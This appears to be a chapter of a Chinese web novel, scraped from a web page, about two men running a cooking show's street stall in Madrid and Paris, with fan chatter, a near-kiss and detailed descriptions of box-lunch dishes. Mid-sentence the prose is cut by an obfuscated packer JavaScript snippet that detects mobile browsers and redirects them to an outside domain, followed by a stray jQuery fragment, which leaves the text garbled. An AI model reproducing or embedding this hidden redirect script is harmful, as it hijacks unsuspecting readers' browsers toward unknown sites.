蒋醉余几人完完整整早起上了五天班，剩下两天周末也并不空闲。
他们只来得及匆匆忙忙去马德里玩一天，就要赶往法国准备下一周的摆摊。
但对视频网站追直播的观众来说，这可是整整两天的煎熬折磨。
【周末一犹豫没吃到醉余做的螺蛳粉，现在看都看不到了，我还有什么盼头！】外网有观众追悔莫及。
“我做的不算正宗，很多材料都是买的半成品，”蒋醉余安慰道，“大家如果有时间，可以通过144小时过境免签到广西本地吃。”
蒙站的观众们则另辟蹊径：【直播间不是有一群主播的老粉吗，你们偶像以前的节目在哪啊，救救孩子！】
【等到周六晚上，综艺正片就上线啦，到时候欢迎大家来看哦！】老粉说着，贴心地送来一个群号。
新粉哭得更大声了：【周四我的直播就回来了，周六出录播能有什么用！】
有蒋醉余的忠实粉丝聂晴打入《摆摊日记》的出品方内部，自然是节目小范围宣传时就提醒了其他粉丝。
这群人成为了直播间最初的人气来源。爱豆消失已久，男团英伦分队一个月都不见得有一份物料，她们的心比大〇发杀了十年鱼还冷。
为了宣泄自己的兴奋，她们一开播就不管不顾地砸了好一波礼物，成功把综艺送上了直播分区的榜单。
后来的观众也从字里行间猜到，这些人应该是了解点什么前缘的。这下直播暂停两天，他们一下想起了这群人。
老粉从群里神神秘秘地发来一个视频文件的压缩包：
【酱鱼在欧美拍《美食之王》的无梅森评委、无安迪选手的纯净版，大家不要外传哦。】
这个版本原本是西方观众剪的，但屡屡被原节目组举报侵权，最终变成了有缘观众藏在网盘里的“公开秘密”。
她们想了想，又发来另一个链接合集：【这是酱鱼以前的唱跳单人直拍，除了他宣布退团的最后一次舞台都是齐的。】
【破公司气死我了！最后一次舞台这么有意义，凭什么不给我们看，到现在连个repo都没有！】老粉一提就骂起来。
新粉还没反应过来，缓缓敲出一个问号：啊？你说谁？
老粉把压箱底半年的安利词翻出来：【剑眉星目，暴徒外表；温和包容，爹系性格；一条酱鱼，两种风味！】
潜伏在群里的齐新雨噗地一声笑出来。
蒋醉余还抱着那瓶醋，很迷茫地看向他：“坐车不要玩手机，小心晕车。”
“回民宿这几分钟的车程不算，”齐新雨把头扭开，“我都要跑路去给别人当缪斯啦，谁能管我。”
话里话外，很是有些娇矜的埋怨。
蒋醉余不知道该说什么，只好在旁边小声赔罪：“我错了，我只见过一对缪斯和艺术家，就是我们两个……”
情急之下，早就忘了AI老师告诉过他，这种关系“可能是爱情，也可能不是”。
齐新雨叹气：“蒋先生猜猜，为什么会是管家打电话给你。”他强调这个行为中出现的两个角色。
“路易斯设计师不联系我，难道是因为他不喜欢吗？”
蒋醉余眼神微微亮起来。
“他找过我好多次啦，我不想去，”齐新雨说，“所以他只能想办法曲线救国。”
路易斯先生的运气比他想象中好一点。
几个小时前，在马德里机场，蒋醉余两人与加布里埃尔和胡安告别，小雀斑依依不舍地说以后要去中国找他玩。
几十分钟前，蒋醉余对着摄像机说，在巴黎机场外遇到的第一个本地人，就是他问摆摊地点的对象。
几分钟前，法国土著薇薇安带着他们找到目的地，齐新雨看到了一个有些熟悉的身影。
“我们这周的摆摊菜品来自一位华人留学生，”他尽量镇定地对着摄像机说，“他想吃自选盖饭。”
“摆摊地点是……某知名秀场后门的街边。”
很不巧，它也是路易斯这周的工作地点。
路过的路易斯看到节目组的设备和房车停在这里，有些疑惑地望过来。
齐新雨下意识地攥住蒋醉余前胸衬衫，给自己寻找掩体。
可他实在有点不够矮，把头埋进肩膀里都显得勉强，最有辨识度的黑发碧眼偏要露在外面。
他揪着那节衣服，动作突然卡住，目光无措地在蒋醉余身上扫过一圈。
“蒋先生救我。”他说。
蒋醉余从喉口飘出一点笑意，伸手捧住他的脸，把自己轻轻靠过去。
首先额头相靠，然后是鼻翼，接着动作停了下来。
齐新雨末端循环不好，鼻尖冰凉，其余部位却像过载的机器一样烧起来。
那张从来被盛赞“眉压眼却深情”的脸在他已经罢工的视觉中越放越大，荡成两个甚至四个重影。
他睁着眼，整个人都陷入僵硬。
可能、大概、的确，没有任何方法比这个姿势更适合自然地挡住脸了吧。
时间只为魔法少女变身静止，寻常人没有这样的殊荣。
路易斯已经没发现任何异常地远去。
薇薇安犹豫半天，手指张开巨大缝隙“捂着眼睛”提醒：“虽然我很想说你们多亲，我爱看，但是现在是不是有更要紧的事情。”
齐新雨张了张口，蒋醉余松开手，他立刻兔子一样弹了出去。
他结巴着扯开话题：“自选盖饭需要买的菜不少吧，要不先去逛逛市场。”
“自选盖饭是指什么？”薇薇安顺势问道。
严格来讲，这完全不能算是一种菜，而只是一种售卖方法。
通常在支付固定的金额后，顾客可以获得一盒饭，并从摊位上的诸多炒菜炖菜中分荤素自选菜品，有的商家还会赠送免费例汤。
这样的路边摊，从前被视为是生活不尽如意者才会选择的廉价盒饭。
如今以“东北自选盒饭”为首的小摊们，却凭借其“便宜碗大”的性价比和浓油重酱的诱人外表，在互联网时代重新杀出一条路来。
蒋醉余看过那个点餐的留学生发给自己的视频。
博主的视频在土灶上拍成，大铁锅中盛着洁白晶莹的米饭，将红烧肉、小炒肉等味道浓烈的荤菜压在其下。
铲子一翻，肉菜带着汤汁重新掩过新米的风采。
无论农家环境还是这种老式铁锅，本就容易给人淳朴的旧时畅想；画面再一转，博主站在小摊后，说出一个低得令都市人发狂的价格。
“你是说，三荤三素一饭，足够体力工
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775129|174672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作者吃饱的菜量，只要一点五欧元？”薇薇安打开汇率网站算了半天，发出难以置信的声音。
蒋醉余解释：“它在我们那也是比较便宜的……”
薇薇安觉得这不能算“比较”便宜。
他们在欧洲涨了亿点价。
不像之前在西班牙担心外国人吃不惯浪费，就把螺蛳粉当成小吃卖。
盒饭毕竟算正餐，考虑到当地物价和午餐习惯，最终定了荤菜每道一点五欧、素菜则只要一欧。
“这怎么能算涨价，”薇薇安说，“如果这条街上有快餐店，一定会想把你打出去。”
次日十一点，盒饭小摊准时开业。
这条街的流量不知道比草坡好了多少，他们刚开摊就有人吸吸鼻子走了过来。
会场马上要迎来几场大秀，现在到处是进进出出的工作人员。
搭了一上午台子的道具师席琳就是其中之一。
她负责的会场，设计师提出了很多需要喷漆上色的设想。为了自己的安全着想，她整个上午都带着口罩，依然感觉令人作呕的油漆味正通过缝隙涌向自己。
在组长宣布她可以去午休的时候，席琳放弃了自己包里的鸡蛋三明治，第一反应就是冲出建筑。
她坚信自己需要一些新鲜空气，来唤醒沉睡的嗅觉和味蕾。
在她的设想中，昨天刚下完雨，现在的街道应该带着泥土湿润的清香，空气中残存的水汽则会卷走感官神经所有疲惫。
但当她真正站在室外，迎面感受到的只有香得超出她认知的饭菜烟火味，比她在普罗旺斯休假时吃到的炖菜更浓郁、更复杂。
香气如同精准锁定目标的跑弹，顷刻将她俘虏到了“敌军营地”。
望着面前色彩缤纷却温暖的八个餐盆，法国人席琳果断举起白旗。
这八道菜食材、风格各异，甚至没有哪两道看上去是相同的做法。
在时尚界耳濡目染下，席琳首先审视起其中的四道素菜。
一道是中餐经典永不过时的番茄炒蛋，鸡蛋是完整的大块，上面挂满了浓稠的红色茄汁，残存的西红柿块也都煮得几乎要融在汤里。
绿意盎然的青菜却截然不同，炒空心菜嫩得仿佛刚断生，蒜末和在西班牙没用完的腐乳被素油烹出风味，进一步突出了素炒的清甜。
旁边地三鲜看着朴实无华，香气却几乎要和荤菜比拼，过油的茄子土豆外皮微皱，青椒显示出漂亮的虎皮纹理，上面裹满晶莹的棕褐色芡汁。
最后一道则是为辣味爱好者提供的干锅花菜。选用欧美不太好买到的“散菜花”，花头之间稀疏才方便锅气和豆豉的油香浸透每一根枝桠，为它们披上金黄橙红的外衣。
更不要说，还有荤菜……
时间一分一秒过去，席琳仍然驻足站在摊前，彻底挑花了眼。
“席琳小姐，你看什么呢？”不远处有人喊道。她回过头去，是她这次合作的模特们——连午休时间更晚的模特都休息了。
她们走到摊子面前，其中一个银白色超短发的黑人女生问：“这是中餐吗？怎么卖呀？”
她出现的瞬间，蒙站弹幕的复读机们刷过一片【这才叫黑珍珠啊！姐姐给个姬会！】
薇薇安闻言笑起来：“借花献佛，你吃免费。”